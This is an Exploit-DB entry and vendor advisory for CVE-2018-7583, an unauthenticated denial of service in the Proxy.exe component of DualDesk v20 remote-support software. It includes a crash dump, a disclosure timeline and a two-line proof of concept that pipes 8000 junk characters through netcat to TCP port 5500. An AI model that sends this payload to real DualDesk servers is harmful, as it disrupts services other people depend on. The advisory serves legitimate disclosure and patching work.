DualDesk 20 - 'Proxy.exe' Denial of Service

EDB-ID:

44222

Author:

hyp3rlinx

Type:

dos

Platform:

Windows

Published:

2018-03-02

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/DUALDESK-v20-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security          
 

Vendor:
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www.dualdesk.com



Product:
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DualDesk v20

DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your
technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no
configuration. 



Vulnerability Type:
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Denial Of Service



CVE Reference:
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CVE-2018-7583


Security Issue:
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Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application 
which listens on TCP Port 5500 by sending a long string of junk chars.

(d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available)
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtWaitForMultipleObjects+0x15:
77c6016d 83c404          add     esp,4


Exploit/POC:
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Start the Dualdesk Run Proxy as Application.

C:\>python -c "print 'a'*8000" > crash.txt

C:\>type crash.txt | nc.exe localhost 5500

Crash!!!


Network Access:
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Remote



Severity:
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Medium



Disclosure Timeline:
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Vendor Notification: February 4, 2018
Second attempt : February 17, 2018
Request CVE, assigned by Mitre : March 1, 2018
March 1, 2018 : Public Disclosure



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